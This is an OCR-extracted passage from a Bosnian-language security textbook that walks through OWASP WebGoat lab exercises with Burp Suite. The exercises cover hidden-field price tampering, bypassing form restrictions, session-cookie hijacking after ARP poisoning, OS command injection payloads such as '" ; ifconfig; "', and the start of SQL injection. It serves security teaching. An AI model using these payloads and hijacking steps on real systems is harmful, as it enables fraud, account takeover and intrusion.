l Add J Running | Interface 4 | Invisible | Redirect | Certificate
o] 127.0.0.1:8080 [ Per-host
Edit
Remove »
8
v
< — T

Slika 9.2: Burp Suite - promjena porta

”Running”.

Za upotrebu bilo kog web posrednika (prozy), pa i Burp Suite, potrebno je
podesiti web preglednik da ga koristi. Ovdje ¢e biti pokazano podesavanje Fire-
fox web preglednika na Ubuntu. Za druge web preglednike na drugim OS pristup
je slican, a lako je pronaé¢i konkretne upute o tome kako podesiti web pregled-
nik da koristi prozy. U Firefox potrebno je oti¢i na Prefrences, kikom na iko-
nicu menija u gornjem desnom uglu pa izborom Preferences (ili putem menija
Edit—Preferences). Potrebno je izabrati stavku Advanced (posljednja sa lijeve
strane), pa u toj stavci tab Network. Na tom tabu potrebno je kliknuti na dugme
”Settings...”. Na ekranu za podesavanje potrebno je izabrati ” Manual proxy con-
figuration”, Unijeti vrijednost za HT'TP Proxy 127.0.0.1 i port 8888, kao na slici
9.3.

Ovdje ¢e biti pokazane samo neke osnovne funkcionalnosti Burp Suite. Za
vige detalja preporucuje se koristenje obimne Burp Suite dokumentacije [40],
knjige posveéene ovom alatu [6] ili knjige posvedene sigurnosti web aplikacija
koja odli¢no pokriva kompletnu tematiku ovog poglavlja [54].

Burp Suite nije jedini alat za ove namjene, a pogotovo jedini web prozy. Dobre
alternative su OWASP Zed Attack Proxy ili Paros web proxy (koji se na zalost
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3 Connection Settings

Configure Proxies to Access the Internet
) No proxy
() Auto-detect proxy settings for this network
") Use system proxy settings

© Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port: I SSSB\Q

| ("Juse this proxy server For all protocols

| SSL Proxy: | Port: | olz
FTP Proxy: | | Port: [ olz
; SOCKS Host: | Port: | ol¢

()socksv4 @ socksvs [ |Remote DNS |

No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

Reload

| Do not prompt for authentication if password is saved

Help Cancel OK

Slika 9.3: Firefox - prory podesavanje

izgleda vise ne azurira).

9.1.2 WebGoat

Preuzeti, instalirati i pokrenuti pripremljenu (od strane OWASP) nesigurnu web
aplikaciju WebGoat

Rjesenje: WebGoat je web aplikacija koje je napravljena sa velikim brojem
sigurnosnih propusta u svrhe pokazivanja kako ih pronaci, iskoristiti, te otklo-
niti. Cilj je da programeri koji razvijaju web aplikacije nauce da ne prave ove
propuste. Ova aplikacija je kreirana od strane OWASP (The Open Web Applica-
tion Security Project) fondacije, neprofitne organizacije posveéene sigurnosti web
aplikacija. Do WebGoat se moze doéi preko stranica OWASP (www.owasp.org).
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U vrijeme pisanja stranica WebGoat projekta bila je na adresi:
https://www.owasp.org/index.php/Category: OWASP_WebGoat_Project

Na stranici WebGoat projekta data su objasnjenja projekta, kao i korisni lin-
kovi. Do stranice za preuzimanje WebGoat dolazi se preko linka u dijelu ” Quick
Download”. Link vodi do GitHub repozitorija za ovaj projekat. U vrijeme pisanja
aktuelna verzija WebGoat bila je 7.1. Preuzeta je datoteka webgoat-container-7

WebGoat je Java aplikacija, i moze se koristiti i na Windows i Linux OS,. Za
njeno pokretanje i koriStenje potrebno imati instaliran Java JRE. Ovdje ¢e biti
pokazani koraci upotrebe na Linux Ubuntu 16.04.

Pokretanje WebGoat obavlja se komandom:
java -jar webgoat-container-7.1l-exec.jar

Po pokretanju se dobije poruka da je WebGoat pokrenut i da mu se moze
pristupiti putem adrese:
http://localhost:8080/WebGoat

Pristupom ovoj adresi dobije se ekran za prijavljivanje na WebGoat prikazan
na slici 9.4.

Prilikom pokretanja moze se zadati parametar -httpPort=BrojPorta koji
omogucava da se WebGoat pokrene na portu razli¢itom od standardnog 8080.
Na primjer za pokretanje na portu 8081 potrebno je pokrenuti WebGoat koman-
dom;
java -jar webgoat-container-7.1l-exec.jar -httpPort=8081

Ovo moze biti potrebno ako je port 8080 zauzet od strane druge aplikacije,
to je u slucaju WebGoat obi¢no neki web posrednik (prozy), poput prethodno
instaliranog Burp Suite.

9.2 Ulazni podaci
Koristenjem funkcije Intercept u Burp proxy analizirati nac¢in kako se ulazni po-
daci u web aplikacije sa formi iz web preglednika prosljeduju putem HTTP

1. Naéi forme koje parametre dostavljaju putem GET i POST metoda
2. Provjeriti (ne)efikasnost zastita ulaznih podataka preko web formi

.1l-exec. jar.
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€ | @ | localhost:8080/WebGoat/login.mvc @ || Q search B » =

Username

Username

Password

Password

The following accounts are built into Webgoat

Account User Password
Webgoat User guest guest
Webgoat Admin webgoat webgoat

Slika 9.4: WebGoat ekran za prijavu

a) Procitati skrivene (hidden) parametre
b) Zaobiéi ograni¢enja na duzinu parametara
¢) Provjeriti nac¢in prenosa povjerljivih informacija (npr. lozinke)

Rjesenje: Za ovaj zadatak moguce pronaéi veliki broj web aplikacija na ko-
jima se moze pokazati. Ovdje Ce, radi prezentacije i unifikacije vjezbe, zadatak
biti uraden upotrebom WebGoat aplikacije.

Na ekranu za prijavljivanje na WebGoat prikazanom na slici 9.4 potrebno je
unijeti korisni¢ko ime WebGoat korisnika (guest) i odgovarajucu lozinku (guest)
koji su ispisani na dnu ekrana.

Po uspjesnom prijavljivanju na WebGoat pojavljuje se pocetni ekran koji daje
osnovne informacije o na¢inu rada sa WebGoat. Preporucuje se ¢itanje ovih krat-
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kih uputa. Sa lijeve strane ovog ekrana nalazi se spisak vjezbi koje WebGoat nudi.
Ovdje ¢e biti uradeno samo nekoliko vjezbi da bi se pokazale osnovne moguénosti.
Za ozbiljnije ucenje o sigurnosti web aplikacije preporucuje se prolazak kroz sve
vjezbe pocevsi od pocetne ”Introduction”. Izgled pocetnog ekrana WebGoat sa
spiskom vjezbi dat je na slici 9.5.

€ | @ | localhost:8080/webGoat/start. mvc#atta

% WEBGOAT

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (X55)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

¢ | | search T A 3+ A O =

How to work with WebGoat

a i =

Show Solution Jf Show Plan ==&l E=l3-00]

Congratulations. You have successfully completed this
lesson.

How To Work With WebGoat

Welcome to a brief overview of WebGoat.

Environment Information

WebGoat uses the Apache Tomcat server but can run in any
application server. It is configured to run on localhost although
this can be easily changed, see the "Tomcat Configuration®
section in the Introduction.

The WebGoat Interface

= Hip Basics

:S::‘WEHGO&T
2| (3] |4] |5

ﬂ [l T T 6

Tookios /

Paramaters

Slika 9.5: WebGoat - pocetni ekran

Za pokazivanje konkretnog zadataka iz postavke ove vjezbe izabrana je stavka
”Paremeter Tempering” sa spiska sa lijeve strane. Nakon klika na ovu stavku
ispod nje se pojavljuju podstavke. Sa spiska podstavki potrebno je, klikom na
nju, izabrati ”Exploit Hidden Fields”. U glavnom okviru sa desne strane od spiska
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pojavljuje se postavka zadatka kao na slici 9.6.

= Exploit Hidden Fields

a i =
Show Solution | Show Plan [l Show Hints Sl R

Try to purchase the HDTV for less than the purchase price, if you
have not done so already.

Shopping Cart

Shopping Cart Items --
To Buy Now

56 inch HDTV (model
KTV-551)

Price Quantity Total

2999.99 . ol $2999.99

The total charged to

your credit card: $2999.99 | UpdateCart Purchase

Slika 9.6: WebGoat lekcija - iskoristavanje skrivenih polja

Na vrhu ekrana za svaki zadatak postoji nekoliko dugmadi. Dugme ”Show So-
urce” Cée ispod postavke zadatka ispisati izvorni kod lekcije. Dugme ”Show Solu-
tion” ¢e ispod postavke zadatka ispisati postupak kojim se postize cilj postavljen
u zadatku. Dugme ”Show Plan” ¢e ispod postavke zadatka ispisati cilj zadatka i
dati osnovnu ideju kako ga rijesiti. Dugme ”Show Hints” ¢e na vrhu ekrana, od-
mah ispod dugmadi ispisati prijedlog Sta bi naredni korak za rjeSavanje zadatak
trebao biti. Uz prijedlog stoji i dugme sa strelicom koja vodi do slijedec¢eg koraka
ka rjesenju. Klikanjem na ovu strelicu moze se proci kroz sve korake koji vode do
kompletnog rjesenja zadatka. Dugme ”Restart lesson” ponistava sve uradeno na
zadatku i vraca ga u pocetno stanje. Korisnicima koji budu prolazili kroz lekcije
koje nisu obradene ovdje savjetuje se da prvo pokusaju samostalno uraditi zada-
tak. Ako ne uspiju onda treba prvo pogledati plan da se dobije ideja za rjeSenje.
Ako ni to ne pomogne, onda treba pogledati prijedlog prvog koraka, kao i ostalih
ako bude potrebno. U nastavku ¢e biti pokazana rjeSenja zadataka bez koristenja
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plana i prijedloga.

U ovoj lekciji zadatak je promijeniti cijenu TV koji se kupuje. Iz naslova lekcije
moze se pretpostaviti da je ova cijena parametar HTTP zahtjeva koji je skriven.
Web aplikacija od web preglednika dobiva sve parametre u HTTP zahtjevu. Kako
je ovdje podeseno da HTTP zahtjevi prolaze kroz web posrednik moguce ih je
presresti, te vidjeti i izmijeniti sve parametre uklju¢ujudi i skrivene, prije nego
§to se dostave web aplikaciji.

U Burp Suite potrebno je oti¢i na stavku menija: Proxy—Intercept. Potrebno
je da dugme ”Intercep is on” bude aktivno. Ako nije, odnosno ako pise ” Intercept
is off” klikom na to dugme postize se zeljeni rezultat. Ovim se web posredniku
kaze da presre¢e HT'TP zahtjeve koji prolaze kroz njega (od web preglednika ka
web aplikacijama). Kada se HT'TP zahtjev presretne mogude je vidjeti i izmijeniti
njegove parametre.

Nakon ovoga potrebno je u WebGoat lekciji kliknuti na dugme ”Purchase”.
Ovim se sa web forme ka web aplikaciji Salju parametri koji uklju¢uju koli¢inu
proizvoda (TV) koji se zele kupiti. Sada se u prozoru web posrednika (Burp) pri-
kazuje presretnuti zahtjev. Inicijalno se prikazuje originalni (raw) HTTP zahtjev.
Klikom na tab ”Params”, prikazuju se posebno svi parametri sa tipom, nazivom
i vrijednoséu, kao na slici 9.7.

Sada se dvostrukim klikom na bilo koju liniju sa parametrom HTTP zahtjeva
moze izvrsiti izmjena njegove vrijednost. Ovdje je izabran parametar ”Price” i
njegova vrijednost je izmijenjena na 10,00 kako je prikazano na slici 9.8.

Tipkom ”Enter” na tastaturi izmjena se potvrduje. Da bi se, izmijenjeni,
zahtjev proslijedio web aplikaciji potrebno je kliknuti na dugme ”Forwared” (ne-
posredno iznad taba Raw). Medutim, posto je presretanje i dalje ukljuc¢eno bice
potrebno potvrdivati prosljedivanje svakog pojedina¢nog HTTP zahtjeva. Brze
je iskljuciti presretanje klikom dugme ”Intercep is on” (da postane off). Nakon
toga se zahtjev prosljeduje web aplikaciji i u WebGoat se dobiva informacija da
je lekcija uspjesno savladana. Ta lekcija je sada oznacena sa zelenim na spisku
lekcija sa lijeve strane.

Sada je sa ovog spiska potrebno izabrati podstavku ” Bypass HTML Field Res-
trictions” unutar stavke ” Parameter Tampering”. Zadatak u ovoj lekciji je poslati
web aplikaciji nedozvoljene vrijednosti svakog od pet parametara ¢ija je kontrola
ispravnog unosa provedena na formi. Prvi parametar je padajuca lista sa dvije
moguce vrijednosti: "foo” i "bar”. Cilj je proslijediti web aplikaciji neku drugu
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Burp Suite Free Edition v1.7.10 - Temporary Projeck

Burp Intruder Repeater Window Help

Decoder T Comparer T Extender T Project options T User options TAIer‘ts |

Target T Proxy Spider T Scanner T Intruder T Repeater T Sequencer

J Intercept T HTTP history TWebSockets history T Options ]

[#] Request to http:/localhost 8080 [127.0.0.1]
l Forward J [ Drop J [ intercept ... | Action Comment this item |
Raw | Params THeaders THex ]

POST request to /WebGoat/attack

Type | Name | walue add |
URL 1863884331 |

Ill
L)
= |

Down

Screen
URL menu 1700 S —
Cookie JSESSIONID EQC394 2E35EFSA2B8C2TBAF2543A3C95
Body aTyY T T |
Body SUBMIT Purchase
Body Price 2999.99 AP —

Slika 9.7: Burp Suite - presretanje HTTP zahtjeva - parametri

Cookie JSESSIONID EOC3942E35EFSAZBEC2TEBEF2543A3CO5 .
Body aTY 1 L
Body SUBMIT Purchase

Body Price [10.0d] L

Slika 9.8: Burp Suite - izmjena parametra HTTP zahtjeva

vrijednost. Drugi parametar je opet izbor jedne od dvije moguée vrijednosti:
"foo” ili "bar”, ali ovdje putem takozvanog "radio” dugmeta. Cilj je proslijediti
web aplikaciji neku drugu vrijednost. Treéi parametar je oznacena ili ne kudéica
(checkboz). Cilj je proslijediti web aplikaciji neku drugu vrijednost od dozvoljene
7on” ili 7off”. Cetvrti parametar je tekst koji se unosi u polje i ¢ija duzina je
ogranic¢ena na pet znakova. Cilj je proslijediti web aplikaciji tekst duzi od pet
znakova. Peti parametar je onemoguceno polje. Cilj je proslijediti web aplikaciji
bilo koju vrijednost za ovo polje.

Kao i u prethodnom sluc¢aju potrebno je presresti HTTP zahtjev upotrebom
Burp Suite. Potrebno je za vrijednosti parametara unijeti nesto sto web forma ne
dozvoljava. Peti, onemoguéeni, parametar potrebno je dodati klikom na dugme
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”Add” (desno od liste parametara)?. Izmjena parametara ucinjena je kako je
prikazano na slici 9.9.

POST request to /WebGoat/attack

| Type | Name | Walue | add
URL Screen 52558034 ;
URL menu 1700 Remove
Cookie JSESSIONID EOC3942E35EFSAZEEC2TERF2543A3C95 ;
EBody select nije U

P
Body radio dozvoljeno
Eody checkbox ovakeo
Down

Body shortinput dugacke ;
Body disabledinput  onemoguceno
Body SUBMIT Submit

Slika 9.9: Burp Suite - izmjena i dodavanje parametra HTTP zahtjeva

Sliéno kao i u ranije, da bi se, izmijenjeni, zahtjev proslijedio web aplikaciji
potrebno je kliknuti na dugme ”Forwared” (neposredno iznad taba Raw). Nakon
toga se zahtjev prosljeduje web aplikaciji i u WebGoat se dobiva informacija da
je lekcija uspjesno savladana. Ta lekcija je sada oznacena sa zelenim na spisku
lekcija sa lijeve strane.

9.3 Cookie - potvrdivanje identiteta

Koristenjem funkcije Intercept u Burp proxy analizirati na¢in uspostavljanja i
odrzavanja sesije (prepoznavanja zahtjeva od istog klijenta) putem cookie.

1. Pogledati poruku (HTTP response) kojom server klijentu dodjeljuje cookie
2. Pogledati poruke (HTTP response) kojima klijent serveru dostavlja cookie
3. Pokusati uhvatiti cookie prijavljenog korisnika i iskoristiti ga za prijavljivanje

kao taj korisnik bez potvrdivanja identiteta

a) Snimiti saobraéaj izmedu klijenta i servera

b) Pronadi sve cookie koje klijent potvrdenog identiteta dostavlja i njihove

vrijednosti
¢) Sa drugim web pregledniku pristupiti istom serveru bez prijavljivanja

2 Ova izmjena mogla je biti napravljena i upotrebom ”Development Tools” koji su
dostupni u savremenim web preglednicima
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d) Upotrebom nekog alata za upravljanje sa cookie umjesto postojeéih vri-
jednosti cookie za tu lokaciju upisati one od korisnika potvrdenog identi-
teta

e) Rezultat bi trebao biti prijavljivanje kao taj korisnik bez unoSenja ko-
risnickog imena i lozinke

Rjesenje: U Burp Suite potrebno ukljuciti, ako nije, presretanje HT'TP odgo-
vora (response). Potrebno je otiéi na stavku menija: Proxy—Options. Potrebno je
da u dijelu ekrana sa podnaslovom ”Intercept Server Responses” bude izabrano
”Intercept requests based on the following rule”. Prema inicijalnim postavkama
to bi trebalo biti dovoljno. Ako nije onda je potrebno aktivirati neko od pravila
po kom ¢e se HTTP odgovori presretati. Opcija koju je potrebno ukljuciti prika-
zana je na slici 9.10.

Burp Suite Free Edition v1.7.10 - Temporary Project
Burp Intruder Repeater Window Help

Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts
Target Proxy T Spider T Scanner T Intruder T Repeater

[ k. T HTTP history TWebSockets history T Qptions ]

'
-
@ Intercept Server Responses
@ Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
[¥f] Intercept responses based on the following rules:
l Add J Enabled | Operator | Match type | Relationship | Condition
e — [} Content type h... Matches text
Edit = or Reguest Was modified
O or Request Was intercepted
Remave H And Status code Does not match ~304%
=] [And URL Is in target scope
———
l Down J

[# Automatically update Content-Length header when the response is edited

-l i T

Slika 9.10: Burp Suite - Aktivacija presretanja HTTP odgovora (response)

Da bi se dobila poruka (HTTP response) kojom web server klijentu dodjeljuje
cookie potrebno se odjaviti sa WebGoat aplikacije i zatvoriti web preglednik.
Time se brise cookie WebGoat aplikacije, pa ga web preglednik neée dostaviti
web serveru prilikom pristupa. Web server ¢e onda napraviti cookie i dostaviti ga
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web pregledniku u zaglavlju Set-Cookie. Potrebno je presresti HI'TP odgovor
od web servera u kom se nalazi ovo zaglavlje. Dio presretnutog zahtjeva u kom
je ovo zaglavlje prikazana je na slici 9.11.

_J Raw T Headers I Hex I HTML [ Render]

HTTR/1.1 200 OK

Server: Apache-Coyotesl.1

Fragma: no-cache

Expires: Thu, ©1 Jan 1970 00:00:00 GMT

Cache-Control: no-cache

Cache-Control: no-store

Set-Cookie: JSESSIONID=E3FD1DOSESGS1LEZEA3ZDSCLCDOG4360B2: Path=/WebGoat/; HttpOnly
Content-Type: text/html;charset=IS0-8859-1

Content-Language: en-US

Content -Length: 3194

Slika 9.11: Burp Suite - Presretnuti HT'TP odgovor (response) sa Set-Cookie

Presretanjem poruka (HTTP request) web preglednika ka web serveru moze
se vidjeti da se u svakoj poruci, u zaglavlju Cookie, dostavlja i isti cookie koji
je na pocetku web server dostavio web pregledniku. Zaglavlje jedne takve poruke
prikazano je na slici 9.12.

_[ Raw T Params T Headers T Hex ]

GET /WebGoat/service/lessoninfo.mvc HTTR/L.1

jHost: localhost: 8080

‘User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86 &4; rv:49.0) Gecko
Accept: applicationfison, text/javascript, */%; g=0.01
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

'¥-Requested-With: XMLHttpRequest

Referer: http://localhost 8080/ WehGoat /start.mvc

Cookie: JSESSIONIC=S1FDESCTESCESSZEABASES40TFIBEDSS

Connection: close

Slika 9.12: Burp Suite - Presretnuti HT'TP zahtjev (response) sa Cookie

Posto je potvrdeno da je proces potvrdivanja identiteta klijenta pri svakom
HTTP zahtjevu uraden preko zaglavlja Cookie, sada treba iskoristiti tu ¢injenicu
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da se pokusa zaobiéi proces potvrdivanja identiteta korisnickim imenom i lozin-
kom.

WebGoat ne koristi HTTPS pa je moguce prisluskivanjem saobracaja doci
do citljivih zaglavlja HT'TP zahtjeva u kojim je cookie. IzvrSeno je prijavljivanje
na WebGoat sa drugog racunara kao administrator WebGoat aplikacije (web-
goat/webgoat). Po prijavljivanju je moguée provjeriti identitet prijavljenog ko-
risnika klikom na ikonu korisnika WebGoat aplikacije u gornjem desnom uglu
ekrana. Na slici 9.13 se vidi ova informacija.

@ | 192.168.10.134:8080/Wet EJ | &  Q Search w a8 ¥ @ > *

s WEBGOAT

How to work with WebGoat

ttion >

> & i =
Control Flaws 3 Logout
cation Flaws 5 ebgoa
e Congratulations. You have successfully ¢ webgoat_admin
Password

- Show developer controls
How To Work Witk &
Lvel Login 1 W b G !
ebGoat Buid: buid
werflows >
A S S A R i AR SR St

Slika 9.13: WebGoat - Korisnik WebGoat administrator

Sada je ovaj korisnik koristio aplikaciju, tokom toga izvrSeno je snimanje,
upotrebom Wireshark, saobracaja koji izmjenjuju web preglednik ovog korisnika
koji je prijavljen kao administrator i web server WebGoat aplikacije®. Iz snimlje-
nog saobracaja izdvojena je komunikacija ovog klijenta sa serverom i pronaden
je jedan od (svih) HTTP zahtjeva kojim web preglednik dostavlja web serveru
cookie. 1z tog zahtjeva bilo je moguce do¢i do tog cookie. Izvrseno je kopiranje

3 Do saobracaja izmedu ova dva korisnika doslo se arpposioning napadom koji je
ranije objasnjen.
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vrijednosti cookie u meduspremnik (buffer) radi njegovog kasnijeg koristenja (klik
desnim dugmetom misa na liniju Cookie, Copy—value). Presretnuti zahtjev na
kom se vidi i cookie prikazan je na slici 9.14.

[M [ip-addr == 192.168.10.104 [X] -]
No. |Time  Source \Destination  Protocol Lengthinfo

7 3.72035. 192.168.10.164  192.168.10.134  TCP 60 14575 — 88B@ [ACK]
| 8 3.72037.. 192.168.10.1684  192.168.16.134  HIIP 489 GET /WebGoat/attack

9 3.720838.. 192.168.10.134 192.168.16.104 TCP 54 8080 -~ 14575 [ACK]

Frame 8: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) on interfac
Ethernet II, Src: HewlettP_8d:13:b5 (10:60:4b:8d:13:b5), Dst: CadmusCo_9T:be:8e (O
Internet Protocol Version 4, Src: 192.168.10.104, Dst: 192.168.18.134
Transmission Control Protocol, Src Port: 14575 (14575), Dst Port: 8880 (8880), Seq
Hypertext Transfer Protocol
b GET /WebGoat/attack?Screen=3720491548menu=50@ HTTP/1.1\r\n

Host: 192.168.10.134:80388\r\n

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWS4; rv:58.0) Gecko/201001081 Firefo:

Accept: texts/himl, */*; g=0.81\r\n

Accept-Language: en-US,en;q=0.5\r\n

Accept-Encoding: gzip, deflate\r\n

X-Requested-With: XMLHttpRequest\rin

Referer: http://192.168.160.134:80808/WebGoat/start.mvchrin

Cookie: JSESSIONID=ABCIBBEAGECAZ342BB083F73BETCF388\r\n

Connection: keen-alivelrin

4
»
»
»
-

Slika 9.14: Wireshark - Uhvaéeni HTTP zahtjev u kom se vidi cookie

Sada je, sa Burp Suite, izvrseno presretanje HT'TP zahtjeva web preglednika
napadaca koji je prijavljen kao guest. U vrijednost parametra Cookie upisana je
vrijednost koje je preuzeta od WebGoat admin korisnika. Ova izmjena prikazana
je na slici 9.15.

Il | Raw | Params T Headers T Hex ]

GET request to /WebGoat/service/lessoninfo. mvc

Tvpe | Name | value
Cookie JSESSIONID hEClEEEAUECA334ZEEUEEF?EEE?CF3EE

Slika 9.15: Burp Suite - Izmijenjeni cookie



9.4 WebGoat - umetanje OS komandi 211

Rezultat je bio prijavljivanje na WebGoat kao korisnik "webgoat” (adminis-
trator) bez poznavanja i unoSenja unosenja njegove lozinke. To se moglo provjeriti
u WebGoat aplikaciji u kojoj je napada¢ bio prijavljen kao ”guest”, na isti nacin
kako je pokazano na slici 9.13

9.4 WebGoat - umetanje OS komandi

Na WebGoat aplikaciji uraditi lekciju vezanu za umetanje komandi operativnog
sistema.

1. Injection Flaws — Command Injection

Rjesenje: Za pokazivanje konkretnog zadataka izabrana je stavka ”Injection
Flaws” sa spiska sa lijeve strane. Nakon klika na ovu stavku ispod nje se pojavljuju
podstavke. Sa spiska podstavki potrebno je, klikom na nju, izabrati ” Command
Injection”. U glavnom okviru sa desne strane od spiska pojavljuje se postavka
zadatka kao na slici 9.16.

Cilj ove lekcije je se nauci kako je moguée prevariti aplikaciju umetanjem OS
komande u parametre koji se Salju web aplikaciji, tako da se ta komanda izvrsi
na OS na kom se izvrsava i web aplikacija.

Aplikacija je napravljena da omoguéi korisniku da izabere jednu od tema iz
korisnickih uputstava od ponudenih sa padajuce liste. Iz ispisa ispod postavke
zadatka vidi se da web aplikacija koristi komandu cat operativnog sistema da bi
ispisala sadrzaj izbrane datoteke sa uputstvom.

ExecResults for ’[/bin/sh, -c, cat "/WebGoat/.extract/webapps/
WebGoat/plugin_extracted/plugin/CommandInjection/resources/
AccessControlMatrix.html"]’

Na osnovu ovoga se moze pretpostaviti da je moguce iskoristiti poziv OS ko-
mande da se na njega doda jos jedna komanda koje ¢e se izvrSiti po ispisivanju
datoteke sa uputstvom (izvrSenju cat komande). Takode se moze pretpostaviti
da se kao parametar sa web forme Salje naziv datoteke sa uputstvom, ovdje Ac-
cessControlMatrix. Web forma aplikacije ne omogucéava izmjenu parametara. Po-
trebno je opet koristiti Burp web posrednik da bi se presreo zahtjev i izmijenio
na potreban nac¢in. Kao i u prethodnim sluc¢ajevima u Burp web posredniku je
potrebno aktivirati presretanje HTTP zahtjeva. Nakon toga treba kliknuti na
dugme " View” u WebGoat lekciji.

U Burp web posredniku moguce je vidjeti parametre HTTP zahtjeva. Pa-
rametar koji se prosljeduje web aplikaciji zove se HelpFile i njegova vrijednost
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Command Injection s

Command injection attacks represent a serious threat to any parameter-driven site.
The methods behind an attack are easy to learn and the damage caused can range
from considerable to complete system compromise. Despite these risks an
incredible number of systems on the internet are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a little
common-sense and forethought, can be almost totally prevented. This lesson will
show the student several examples of parameter injection.

Itis always good practice to sanitize all input data, especially data that will used in
05 command, scripts, and database queries.

Try to inject a command to the operating system.

You are currently viewing: BasicAuthentication.help

Select the lesson plan to view:| AccessControlMatrix.help v || View |

Slika 9.16: WebGoat lekcija - Umetanje komandi

jednaka je nazivu datoteke koji je je na web formi izabran sa padajuce liste, ovdje
AccessControlMatrix.help, kako se vidi sa slike 9.17.

POST request to /WebGoat/attack

Type | Mame | Value

URL Screen 1922448916

URL menu 1100

Cookie JSESSIONID EC1969B3F4899A67TCF351AEDSSE4CCO9
Body HelpFile | AccessControlMatrix. help

Body SUEMIT View

Slika 9.17: Burp Suite - presretnuti parametri
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Ako se analizira, gore navedeni nacin ispisa datoteke sa uputstvom,
’[/bin/sh, -c, cat "PATH/AccessControlMatrix.html"]’

vidi se da je naziv datoteke unutar znakova dvostrukog navoda (). Ako se
parametar sa nazivom datoteke izmjeni tako da se na njega doda znak navoda,
onda ¢e web aplikacija smatrati da je to kraj imena. Sada se iza tog znaka moze
dodati znak koji razdvaja dvije naredbe OS, koji je kod Linux, na kom se radi
zadatak, znak tacka-zarez ”;” (kod Windows je to 7&”). Iza tog znaka treba se
upisati nova OS komanda koja se zeli izvrsiti, te nakon nje ponovo znak za raz-
dvajanje komandi (;), pa onda ponovo znak dvostrukih navoda koji ¢e se upariti
sa znakom dvostrukih navoda koji web aplikacija dodaje na naziv datoteka sa
uputstvom koje prikazuje.

Ako se zeli izvrsiti komanda ifconfig onda na parametar sa nazivom dato-
teke treba dodati slijede¢i niz znakova:
" ; ifconfig; "

Sada ¢e komanda koja Ce se izvrsiti biti:
>[/bin/sh, -c, cat "PATH/AccessControlMatrix.html" ; ifconfig; ""]’

rezultat bi trebao biti ispisivanje sadrzaja datoteke sa uputstvom, pa zatim is-
pisivanje stanja mreznih interfejsa (izvrsavanje komande ifconfig). Ove izmjene
uradene su u Burp web posredniku kako je prikazano na slici 9.18.

POST request to /WebGoat/attack

i Type | Mame | walue
1| URL Screen 1922445916
URL menu 1100

Cookie |SESSIONID EC1969B3F4899A6TCF351AEDSGE4CCO9

.| Body HelpFile [tccessControlMatrix.help” ; ifconfig; ']
Body SUBMIT Wiew

Slika 9.18: Burp Suite - izmijenjeni parametar

Kada se ovaj izmijenjeni parametar proslijedi web aplikaciji u HTTP zahtjevu
desava se upravo zeljeno izvrsavanje komande (ifconfig) koju je napada¢ umetnuo.
Ovo se moze vidjeti i na slici 9.19.
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You are currently viewing: AccessControlMatrix.help” ; ifconfig; "

Select the lesson plan to view:| AccessControlMatrix.help v || View

ExecResults for '[/bin/sh, -c, cat "/home/smrdovic/Documents/TS/Web(

output..

Lesson Plan Title: Using an Access Control Matrix

Concept / Topic To Teach:

In a role-based access control scheme, a role represents a set of ac
General Goal(s):

Each user is a member of a role that is allowed to access only cert:

enpes3

1o

Link encap:Ethernet Hwaddr 08:80:27:9f:be:8e

inet addr:192.168.10.134 Bcast:192.168.10.255 Mask:255.:
inet6 addr: feB80::a80:27ff:fedf:beBe/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1

RX packets:3642 errors:0 dropped:@ overruns:0 frame:@
TX packets:2009 errors:® dropped:® overruns:@ carrier:@
collisions:@ txqueuelen:180@

RX bytes:4236459 (4.2 MB) TX bytes:269950 (269.9 KB)
Link encap:lLocal Loopback

inet addr:127.0.8.1 Mask:255.0.0.8

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:4973 errors:0 dropped:® overruns:@ frame:@
TX packets:4973 errors:@ dropped:® overruns:@ carrier:@
collisions:@ txqueuelen:1

RX bytes:3634042 (3.6 MB) TX bytes:3634042 (3.6 MB)

Slika 9.19: WebGoat lekcija - Rezultat umetanja OS komande ifconfig
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Na windows bi izmjena, ako se zeli izvrsiti komanda ipconfig bilo dodavanje
slijede¢eg niza znakova:
" & ifconfig& "

Ovdje je umetnuta relativno bezopasna komanda koja samo ispisuje informa-
cije. Umjesto nje bilo je moguce izvrsiti neku drugo komandu koja je mogla imati
kao posljedicu ozbiljnije narusavanje povjerljivosti, integriteta ili dostupnosti in-
formacija na napadnutom sistemu.

9.5 WebGoat - umetanje SQL komandi

Na WebGoat aplikaciji uraditi lekciju vezanu za umetanje SQL komandi.

1. Injection Flaws — Numeric SQL Injection
Rjesenje: Za pokazivanje konkretnog zadataka izabrana je stavka Injection
Flaws” sa spiska sa lijeve strane. Nakon klika na ovu stavku ispod nje se po-
javljuju podstavke. Sa spiska podstavki potrebno je, klikom na nju, izabrati
”Numeric SQL Injection”. U glavnom okviru sa desne strane od spiska po-
javljuje se postavka zadatka kao na slici 9.20.

Cilj ove lekcije je da se nauci kako je moguée prevariti aplikaciju umetanjem
dodatnih dijelova SQL komande u numericke parametre koji se Salju web
aplikaciji, tako da se ta komanda izvrsi na sa rezultatom koji napada¢ zeli
umjesto onog koji je planiran kodom aplikacije.

Aplikacija je napravljena da omoguéi korisniku da izabere jednu od lokacija
za koju se prikazuju meteoroloski podaci. Cilj napada je da se ispiSu podaci
za sve lokacije. Iz ispisa ispod postavke zadatka vidi se da web aplikacija
koristi SQL komandu SELECT kojoj je izabrana lokacija parametar za izbor
podataka.

SELECT * FROM weather_data WHERE station = 7

Na osnovu ovoga se moze pretpostaviti da je mogucée izmijeniti parametar
koji se koristi za formiranje SQL komande da se na njega dodaju znakovi
koji ée SQL interpretirati kao dio komande. Takode se moze pretpostaviti da
se kao parametar sa web forme Salje broj koji odgovara izabranoj lokaciji,
ovdje 101 za Columbia. Web forma aplikacije ne omogucava izmjenu parame-
tara. Potrebno je opet koristiti Burp web posrednik da bi se presreo zahtjev
